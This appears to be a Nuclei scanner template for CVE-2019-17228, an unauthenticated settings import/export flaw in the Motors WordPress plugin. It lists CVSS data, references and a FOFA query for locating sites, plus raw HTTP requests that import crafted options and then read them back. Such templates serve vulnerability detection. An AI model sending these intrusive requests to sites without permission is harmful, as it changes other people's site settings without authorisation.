CVE-2019-17228: Motors Car Dealer & Classified Ads <= 1.4.0 - Unauthenticated settings import/export

id: CVE-2019-17228

info:
  name: Motors Car Dealer & Classified Ads <= 1.4.0 - Unauthenticated settings import/export
  author: daffainfo
  severity: medium
  description: |
    includes/options.php in the motors-car-dealership-classified-listings (aka Motors - Car Dealer & Classified Ads) plugin through 1.4.0 for WordPress allows unauthenticated options changes.
  reference:
    - https://blog.nintechnet.com/multiple-vulnerabilities-in-wordpress-motors-car-dealer-classified-ads-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17228
    - https://wordpress.org/plugins/motors-car-dealership-classified-listings/#developers
    - https://wpvulndb.com/vulnerabilities/9884
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-17228
    cwe-id: CWE-345
    epss-score: 0.03443
    epss-percentile: 0.87055
    cpe: cpe:2.3:a:stylemixthemes:motors_-_car_dealer\,_classifieds_\&_listing:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: stylemixthemes
    product: motors_-_car_dealer\,_classifieds_\&_listing
    framework: wordpress
    fofa-query: body="wp-content/plugins/motors-car-dealership-classified-listings/" && body="wp-"
  tags: cve,cve2019,wp,wordpress,wp-plugin,motors-car-dealership-classified-listings,intrusive

variables:
  single_name: "{{randstr}}"
  plural_name: "{{randstr}}"
  slug: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="import_settings"; filename="{{filename}}.json"
        Content-Type: application/json

        [{"single_name":"{{single_name}}","plural_name":"{{plural_name}}","slug":"{{slug}}","font":"fa fa-angle-double-left","numeric":"","number_field_affix":"1","slider":"","use_on_car_listing_page":"","use_on_car_archive_listing_page":"","use_on_single_car_page":"","use_on_car_filter":"","use_on_tabs":"","use_on_car_modern_filter":"","use_on_car_modern_filter_view_images":"","use_on_car_filter_links":"","use_in_footer_search":"","use_on_directory_filter_title":"","use_on_single_listing_page":"","listing_taxonomy_parent":"","listing_rows_numbers_enable":"","listing_rows_numbers":"","enable_checkbox_button":"","show_in_admin_column":""}]
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

      - |
        GET /?export_settings=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"single_name":"{{single_name}}"'
          - '"plural_name":"{{plural_name}}"'
          - '"slug":"{{slug}}"'
        condition: and

      - type: word
        part: header
        words:
          - 'filename=file.json'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200943fafe8154c363b35b27ec74ef2240fa9804fd906fd360d1e3dd1474a847ed022100d1fe30110402fbbc4fb5281c11ceb72919fa0730c996540986f24f42f216ef4d:922c64590222798bb761d5b6d8e72950